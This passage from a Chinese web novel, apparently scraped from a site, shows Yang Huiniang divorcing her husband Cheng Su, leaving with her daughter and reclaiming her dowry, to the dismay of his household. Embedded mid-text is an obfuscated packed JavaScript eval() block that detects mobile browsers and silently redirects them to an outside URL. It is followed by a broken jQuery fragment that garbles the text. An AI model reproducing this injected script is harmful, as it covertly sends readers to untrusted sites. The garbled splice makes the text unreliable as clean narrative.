“这就是你想要的?你可想清楚了,只要踏出这个门槛,以后就算是你求我,我也不会再眨一下眼睛!”
在杨氏路过自己,就要径直这样头也不回地离开时,程肃终于还是最后问了她一句。
他现在倒不是想要这女人回心转意,而是要让她知道,这个家可不是她想走就走,想回就回的,要是今日就这样离开了,那就到死也不能再回来了。
与此同时她将失去显赫的身份,无忧无虑的官太太生活,从此以一个下堂妇在上京被人指指点点。
听到他如此色厉内荏的警告,杨氏只觉得想笑,她真是后悔,自己为何没有早点和离,过去那几年,竟然还会对这样一个**心存幻想。
“程肃,这句话也是我要对你说的,我今日踏出这个门槛,从今往后你我再无相关,以后你就是跪在我面前痛哭流涕,我也不会低头看你一眼。”
一向温良柔顺的杨惠娘,从未这样口出恶言过,但是今天对这个错付了十多年的男人,她却是不吐不快了。
说完这句话,她就当着程家人的面,毫不犹豫地踏过了那条高高的门槛,正如她当年盖着盖头跨进这深宅大院一般。
天空下起了淅淅沥沥的秋雨。
门口载着杨氏和程容珈的马车已经远去,程肃却依旧一个人脸色阴沉的站在原地,浑身上下仿佛笼罩着黑气。
这生人勿进的模样,倒是让程家所有人都噤若寒蝉,知道家主大人终究还是在乎夫人和大小姐的,但是现在,说什么都无可挽回了。
而且夫人竟然要原封不动地收回自己巨额的陪嫁,这才是程家所有人现在马上要面对的噩耗。
安平伯府的繁花似锦,是靠夫人丰厚的陪嫁支撑起来的。
这点程家上上下下虽然没人愿意承认,但是那些库房里挂在夫人名下的珍宝绸缎,还有账房里的地契商铺,有多少是属于杨氏的,他们其实一直都心知肚明。
只是杨氏这个当家主母对功劳从来不争不抢,所以他们才会**以为常地簇拥在李姨娘和程清菱身边,因为那样会得到更多短期的好处。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259915|178325||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但是现在,杨氏这个主母竟然提出了和离,还要带走程家的半壁家财,这无异于后宅的天塌下来了。
这种时候,他们哪里还能乐得起来。
甚至不少人都对程清菱这个二小姐不满起来,一个庶女竟然逼走了嫡母和大小姐。
她现在自己嫁到王府里去倒是吃香的喝辣的了,可是安平伯府偌大一个架子也还是要有人支撑啊。
看着杨氏的人拿着单子毫不客气地将库房里的东西全都搬了出来,然后又搬上马车,一车车地拉走,程家人也不禁人心惶惶起来。
当然,这些都是后话了。
程容珈倒是不知道,因为母亲的离去,会让安平伯府那些看人下菜碟的人短暂地想起了母亲的好。
但哪怕是她知道,也不会觉得这些人会有什么可怜。
这种人都是这些年围绕在李姨娘跟前,没有少给母亲使绊子的人,见利忘义的东西,并不值得同情。
她现在顾虑的是,这件事会不会影响到徐镇的仕途。